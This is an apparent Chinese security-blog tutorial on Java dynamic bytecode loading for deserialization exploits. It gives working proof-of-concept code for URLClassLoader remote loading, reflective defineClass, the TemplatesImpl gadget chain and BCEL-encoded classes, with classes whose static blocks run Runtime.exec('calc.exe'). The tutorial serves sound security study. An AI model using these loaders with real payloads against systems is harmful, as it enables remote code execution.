关于java中动态加载字节码的多种方法
关于java中动态加载字节码的多种方法
在反序列化漏洞中;经常会遇到TemplatesImpl或BCEL相关的代码,它们就是用来动态加载恶意字节码执行任意命令的;
以及理解这些机制也是理解内存马工作原理的基础;以及可以深入地理解Java类加载机制和JVM的灵活性
首先先说一个概念:什么是字节码;狭义上来说就是编译后生成的.class里的内容,这些是一些jvm指令集;
广义上来说:字节码是指任何能够被JVM恢复成一个类并加载在内存中执行的字节序列;
这包括:
1.标准的.class文件内容;
2.经过特殊处理或编码的字节序列(如BCEL格式);
3.运行时动态生成的字节码;
关键点:在于攻击者可以构造恶意的"广义字节码"让jvm加载执行,从而达到非预期效果;
工作流程:loadClass -> findClass -> defineClass(最终将字节码转换为Class对象)
下面用一张图解释整个流程

从流程中我们知道
loadClass 是加载的入口;作用加载类缓存,从父类中寻找类(也就说说如果类缓存中没有类,就会使用双亲委派机制让父类加载器优先加载类)如果父类加载器的缓存中也没有类,就会调用findClass寻找类;
findClass:作用是从URL路径(本地路径,JAR包,远程服务器等)中寻找类,并加载类的字节码,然后交给defineClass
defineClass:处理字节码,将字节码转换成类
1.利用URLClassLoader加载远程class文件
原理:java的默认类加载器(APPClassLoader)的父类是URLClassLoader,他可以从指定的URL路径(本地路径,JAR包,远程服务器等)加载类,
攻击向量:攻击者可以控制URLClassLoader加载的基础路径(URL[])为一个攻击者可控的HTTP服务器,那么就能让目标JVM加载并执行远程服务器上的恶意.class文件;常见攻击方式如 jndi注入,rmi加载等
利用条件:
1依赖协议:如http,https,file,ftp,jar,jndi,rmi协议
2.目标出网
3,.加载的是标准的、完整的.class文件
测试
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader {
public static void main(String[] args) {
try {
URL[] urls = new URL[] { new URL("http://localhost:8080/") };
URLClassLoader cl = new URLClassLoader(urls);
Class<?> cls = cl.loadClass("Hello");
cls.newInstance();
} catch (MalformedURLException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
}
//Hello.java 恶意类
import java.lang.reflect.Method;
public class Hello {
public Hello() {
System.out.println("Constructor: Hello World!");
}
static {
System.out.println("Static block: Hello World!");
try {
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(clazz);
runtime.exec("calc.exe");
}catch (Exception e) {
e.printStackTrace();
}
}
}
可以看到已经加载了Hello.class的"jvm字节码";注意这里需要把要执行的代码放在静态代码块或者构造函数中;
放在静态代码:"类初始化"会加载static中的内容(换句话说就是程序执行前加载
放在构造函数:因为代码中调用了无参构造cls.newInstance();不放在静态代码块的话必须放到无参构造函数中;

2.利用ClassLoader.defineClass()直接加载字节码;
原理:类加载的核心最终是defineClass这个protected native方法。他负责将原始的字节数组(byte[])转换成JVM内部的Class对象。
流程位置:在 findClass 位置,findClass方法通常会调用defineClass来处理找到的字节码;如果我们可以直接控制defineClass;不就可以直接加载字节码了吗?
但有个问题是这个方法是protected属性,怎么办,无妨可以通过反射突破访问限制(setAccessible(true))

攻击向量:通过反射强行调用definClass
代码
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class defineClasstest {
public static void main(String[] args) throws Exception {
ClassLoader cl= ClassLoader.getSystemClassLoader();
Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
//反射获取defineClass方法
defineClass.setAccessible(true);//突破访问限制
byte[] code= Files.readAllBytes(Paths.get("Hello.class"));//从文件中加载,加载恶意字节码
Class<?> cls=(Class<?>) defineClass.invoke(cl,"Hello",code,0,code.length);
//调用defineClass方法加载code
cls.newInstance();
}
}

利用条件:defineClass只负责加载和链接类,不会执行类的初始化(静态块、静态变量初始化)或构造函数。要执行代码,必须显式调用newInstance()或调用静态方法,进行"代码初始化"才可以执行,。因此要进行远程代码执行;需要想办法调用目标机器的构造函数才可以;
在实际场景中;直接反射调用defineClass比较少见,因为需要先有反射能力,且容易受安全管理器限制;但它是最底层的基石。
更常见的是利用本身调用了defineClass的、且调用方式可被外部控制的类。这就是TemplatesImpl的攻击链出现的原因
3.利用TemplatesImpl加载字节码
虽然defineClass方法不能直接利用,但还是有一些外部类调用了这个方法;经典就是TemplatesImpl类
原理:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类内部有一个 TransletClassLoader。
TransletClassLoader 重写了defineClass方法,并且没有显式声明作用域。在Java中,这意味着它是default(包私有)作用域。
关键的TemplatesImpl方法(newTransformer(), getOutputProperties())是public的。它们最终会调用到TransletClassLoader.defineClass()来加载存储在TemplatesImpl对象内部的字节码(_bytecodes属性)。
可以看到在TemplatesImpl的加载器TransletClassLoader中重写defineClass方法;没有显示声明作用域这意味着它是default;可以被外类调用
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
我们回溯回溯一下调用链
attacker calls -> TemplatesImpl.getOutputProperties() [public]
-> TemplatesImpl.newTransformer() [public]
-> TemplatesImpl.getTransletInstance() [private]
-> TemplatesImpl.defineTransletClasses() [private]
-> (new TransletClassLoader()).defineClass(byte[] b) [default]
发现TemplatesImpl.newTransformer()和 TemplatesImpl.newTransformer() 他们的作用域是public可以被外部调用


构造TemplatesImpl.newTransformer()链的poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TemplatesImpltest {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}
但这里是不能直接运行的

原因是在代码defineTransletClasses()中存在一些安全限制,导致必须AbstractTranslet的子类,字节码才可以被正常加载

private void defineTransletClasses() throws TransformerConfigurationException {
// 加载字节码的代码]
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// 关键检查点:必须是AbstractTranslet的子类
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
} else {
// 如果不是AbstractTranslet的子类,则抛出异常
throw new TransformerConfigurationException("Class is not a translet");
}
}
// ... [后续处理] ...
}
因此需要对恶意类进行构造一下
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
public class evil extends AbstractTranslet {
public evil() {
System.out.println("Constructor: Hello World!");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
System.out.println("Static block: Hello World!");
try {
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(clazz);
runtime.exec("calc.exe");
}catch (Exception e) {
e.printStackTrace();
}
}
}
可以看到顺利执行了;

顺带一题,关于 TemplatesImpl加载恶意字节码在java反序列化的漏洞利用链中以及fastjson、.jackson的漏洞中,都曾出现过TemplatesImpl的身影;
4.利用BCEL ClassLoader加载字节码
备注
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为
被Apache Xalan所使用,而Apache Xalan又是ava内部对于刊AXP的实现,所以BCEL也被包含在了JDK的
原生库中。
关于BCEL的详细介绍,请阅读p牛写的另一篇文章《BCEL ClassLoader去哪了》,
建议阅读完这篇文章
再来阅读本文。
原理:BCEL (Apache Commons BCEL) 提供了一套操作字节码的库。它定义了一种特殊的字符串格式来表示类(通常以$$BCEL$$开头),这种格式包含了原始字节码的编码
攻击向量:生成BCEL字节码字符串: 使用BCEL的Repository或Utility类将标准的.class文件字节码(byte[])转换成BCEL格式的特殊字符串。
Repository:用于将一个Java Class先转换成原生字节码,
Utility:用于将原生的字节码转换成BCL格式的字节码:
生成bcel字节码
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BCELtest {
public static void main(String[] args) throws Exception {
JavaClass clazz = Repository.lookupClass(evil.class);
String bcelcode=Utility.encode(clazz.getBytes(),true);
System.out.println(bcelcode);
}
}

最后经过一些测试发现bcel的Classloader需要版本在6,7左右才可以解析;且恶意类有时候需要在版本冲突时依赖可能无法导入解析,就比如evil我导入了AbstractTranslet
导致
java.lang.NoClassDefFoundError:
com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet;因此考虑使用不依赖 AbstractTranslet 的版本
package org.com.cc6;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class BCELtest {
public static void main(String[] args) throws Exception {
JavaClass clazz = Repository.lookupClass(EEvil.class);
// 2. 转换为BCEL编码格式(必须添加前缀)
String bcelcode = "$$BCEL$$" + Utility.encode(clazz.getBytes(), true);
System.out.println( bcelcode);
new ClassLoader().loadClass(bcelcode).newInstance();
// Class<?> clazz1 = loader.loadClass(bcelcode);
// clazz1.newInstance();
}
}
//EEvil.java
package org.com.cc6;
public class EEvil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}

参考
p牛知识星球->代码审计->java系列文章
p牛的《BCEL ClassLoader去哪了》:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
;
关于java中动态加载字节码的多种方法的更多相关文章
- Android动态加载字节码
概述 面对App业务逻辑的频繁变更,如果每一次改变都对App进行一次升级,会降低App的用户体验,那么App进行模块化升级(这里与增量升级是不同的)是很好的解决方案,让用户在完全无感觉的情况下改变Ap ...
- Java安全之动态加载字节码
Java字节码 简单说,Java字节码就是.class后缀的文件,里面存放Java虚拟机执行的指令. 由于Java是一门跨平台的编译型语言,所以可以适用于不同平台,不同CPU的计算机,开发者只需要将自 ...
- [转载] Java中动态加载jar文件和class文件
转载自http://blog.csdn.net/mousebaby808/article/details/31788325 概述 诸如tomcat这样的服务器,在启动的时候会加载应用程序中lib目录下 ...
- 在VC中动态加载ODBC的方法
在使用VC.VB.Delphi等高级语言编写数据库应用程序时,往往需要用户自己在控制面板中配置ODBC数据源.对于一般用户而言,配置ODBC数据源可能是一件比较困难的工作.而且,在实际应用中,用户往往 ...
- 某APK中使用了动态注册BroadcastReceiver,Launcher中动态加载此APK出现java.lang.SecurityException异常的解决方法
在某APK中,通过如下方法动态注册了一个BroadcastReceiver,代码参考如下: @Override protected void onAttachedToWindow() { super. ...
- 透过现象看本质:Java类动态加载和热替换
摘要:本文主要介绍类加载器.自定义类加载器及类的加载和卸载等内容,并举例介绍了Java类的热替换. 最近,遇到了两个和Java类的加载和卸载相关的问题: 1) 是一道关于Java的判断题:一个类被首次 ...
- 在ASP.NET中动态加载内容(用户控件和模板)
在ASP.NET中动态加载内容(用户控件和模板) 要点: 1. 使用Page.ParseControl 2. 使用base.LoadControl 第一部分:加载模板 下 面是一个模板“<tab ...
- 在MVC应用程序中动态加载PartialView
原文:在MVC应用程序中动态加载PartialView 有时候,我们不太想把PartialView直接Render在Html上,而是使用jQuery来动态加载,或是某一个事件来加载.为了演示与做好这个 ...
- WPF中动态加载XAML中的控件
原文:WPF中动态加载XAML中的控件 using System; using System.Collections.Generic; using System.Linq; using System. ...
- vue中动态加载img
想实现动态加载图片,当点击“首页”时,图片变色 代码如下: <mt-tabbar v-model="selected" fixed class="border-1p ...
随机推荐
- js回忆录(4) -- 对象,构造函数
1.对象 && 构造函数 js是一门基于对象的语言,里边所有的数据类型都可以当对象使唤(当然null和undefined除外),当我们在v8引擎里声明一个对象时会发现每个对象属性里边都 ...
- tsconfig.json报错问题
tsconfig.json报错问题 前言 创建 tsconfig.json 配置文件时,VS Code 会自动检测当前项目当中是否有ts文件,若没有则报错,提示用户需要创建一个ts文件后,再去使用ty ...
- 怎么给EXE文件加启动参数
第一步 首先右键单击 exe 文件文件,创建 exe 文件的快捷方式. 第二步 右键单击此快捷方式--属性. 在快捷方式属性界面,点击目标后面的链接. 先打一个空格然后输入参数,然后点击应用按钮.确定 ...
- 有关js的双向绑定解除方法
最近碰到了一个bug var persons = [{ number: 1, age: 11, name: "wanghaha", money: -1 }, { number: 2 ...
- Docker之一简介
什么是Docker Docker是Google使用go语言进行开发的,对进程进行封装隔离,始于操作系统层面的虚拟化技术. 因为隔离的进程独立于宿主机和其它的隔离进程,因此成为容器 Docker在容器的 ...
- Netty源码—1.服务端启动流程
大纲 1.服务端启动整体流程及关键方法 2.服务端启动的核心步骤 3.创建服务端Channel的源码 4.初始化服务端Channel的源码 5.注册服务端Channel的源码 6.绑定服务端端口的源码 ...
- SpringBoot原理分析-1
SpringBoot原理分析 作为一个javaer,和boot打交道是很常见的吧.熟悉boot的人都会知道,启动一个springboot应用,就是用鼠标点一下启动main方法,然后等着就行了.我们来看 ...
- Docker使用手册--给你通用常用命令
卸载JDK rpm -qa | grep -i java rpm -qa | grep -i java | xargs -n1 rpm -e --nodeps 安装JDK tar -zxvf jdk- ...
- 简单实现Android的本地文件读写,暨将List数据保存到Json文件中并读出
一.让我们从引入依赖开始 //将这两行代码添加到以上位置,其他的一般不用管 implementation 'com.google.code.gson:gson:2.8.5' implementatio ...
- study Rust-3【表达式和函数】
1. Rust与优美的pascal很相似.但是这个表达式概念很有意思.见上图.[1.条件赋值语句:2.表达式返回值] 2.注意变量和隐藏变量的概念,这个也有创意. 3.函数在Rust无处不在.